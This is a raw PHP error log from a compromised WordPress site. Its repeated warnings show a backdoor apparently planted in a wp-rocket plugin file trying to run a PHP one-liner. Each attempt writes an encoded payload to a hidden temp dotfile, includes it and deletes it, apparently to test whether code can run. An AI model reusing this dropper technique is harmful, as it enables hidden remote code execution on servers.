[15-Dec-2025 05:24:57 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22rszySkwHtVERuliw%22.%22rSMTzFJxGkm%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.uconvert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[15-Dec-2025 05:24:59 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22cQMgCLkUdkvbwStn%22.%22wOSlvVHrqxKv%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.rindex&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[15-Dec-2025 05:25:03 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22vvdZWDKeXMLZGPulYL%22.%22AJrJsblInxVq%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[15-Dec-2025 12:11:02 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22vnRYcnbmwhwYOEREr%22.%22LtJVCtLtOmQNtnN%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 02:15:56 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22WcgfBApkBbaFUokiJ%22.%22CVyMsOBrPBcmxbGLELvO%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.rjust&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 02:16:00 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22itMbfsUpWo%22.%22kfchHpbGepcQfMAMoORd%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dbx_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 02:16:02 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ZfjHekiXJAztx%22.%22UeRvaLxpXlIhABPzLUMa%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.rfind&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 02:16:03 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22hhygCQpWqUJudmreRwj%22.%22gVbnWVItUVlSxkfMj%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.locked&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 03:03:49 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22KDeXjViXewGJe%22.%22zlFfwBqYboVlhrR%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.center&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 03:03:50 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22FnJverYoZeE%22.%22lRObgMHkej%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.classes&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[16-Dec-2025 03:04:29 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22wwtcGKQwTlR%22.%22duvtISuHZutmMKPYAka%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.content&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 00:15:40 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 17
[17-Dec-2025 22:20:15 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ZhTpPLFRVGX%22.%22XVKobNBaUBsDVEc%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.uconvert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:16 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22IJyasMyXCeej%22.%22QxbluMSBnROhr%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.partition&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:19 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22yXoAZObdgiJWWGqwoW%22.%22ddikFLopKjQyNR%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.db2_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:21 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ZZBFnDGvuseq%22.%22yiCChYBrJtuvhyG%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.center&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:22 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22dSkQKDMYmN%22.%22YLUkNaVzLUeaXQAeH%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.accepted&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22OvQRLADJKarRNdoq%22.%22JecoKcyvzPDG%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.internal&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22cbHqCErGRGFhlUAiqtYP%22.%22NTFlnpvhxCnW%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.multi&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:26 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22dJobzTYGXBl%22.%22ZSGWpVuIqNg%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.system&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:27 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ZIBQAabVfkyXhODDe%22.%22rZkHGFtrrHOGKMYinbCa%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.mb_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[17-Dec-2025 22:20:28 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22LOLwuKMNWkvSy%22.%22BScpjEmVoPZudRSfIxCg%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.sys&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Dec-2025 18:12:14 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22VtXSUzFEkmanHR%22.%22kdwxWMwsjZwDPrXytBx%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.reset&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[19-Dec-2025 18:12:16 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22wZecAtJXHnmi%22.%22bwYsUIpWPnPA%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.class&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[20-Dec-2025 15:54:17 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ZeitMOkfCVt%22.%22BeUsrRqtRjTO%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.rjust&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[20-Dec-2025 15:54:24 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22zizHBlTttt%22.%22tsGPBOyKmRJWmMBva%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.internal&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[20-Dec-2025 16:57:36 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22nbthDnGHFUuFv%22.%22KurILJVnGG%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dbx_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[21-Dec-2025 15:01:17 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22HwafREOIpvQkyrvRUAHb%22.%22pCbXbNGGDe%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.created&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[21-Dec-2025 15:55:15 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22xGedqnFIain%22.%22fwROasqEkijyFKB%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.locked&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[24-Dec-2025 05:34:41 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22uWuLIQczMF%22.%22uPtvqrvwwEbklezQc%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dbx_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[24-Dec-2025 05:34:43 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22vyBexIjEnCvkbGZLRcSj%22.%22gSKNoaIaYnUQtDpez%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.locked&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[24-Dec-2025 05:35:03 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22ITleZdrBoZjrM%22.%22bSHEQmbmxi%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.parle_tokens&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[24-Dec-2025 07:19:01 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22qYaXZgeBPdGYGk%22.%22EjhHvpOCNbxsaAJGE%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.multi&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[25-Dec-2025 04:02:55 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22kymNEoZOVJBET%22.%22seGOnCbnJgGpLtl%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.cache&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[25-Dec-2025 04:35:09 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22TpvsjbhqPV%22.%22AhaWeBhJtQe%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.accept&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[25-Dec-2025 04:35:18 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22fkbnkFpsfQXllIOR%22.%22TFfFbBYLkXhx%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.rindex&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[26-Dec-2025 11:21:17 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20print%20%22qzROvYBboPFoHLgrLM%22.%22QLKpFPMFyhAzFN%22%3Bexit%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.requests&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
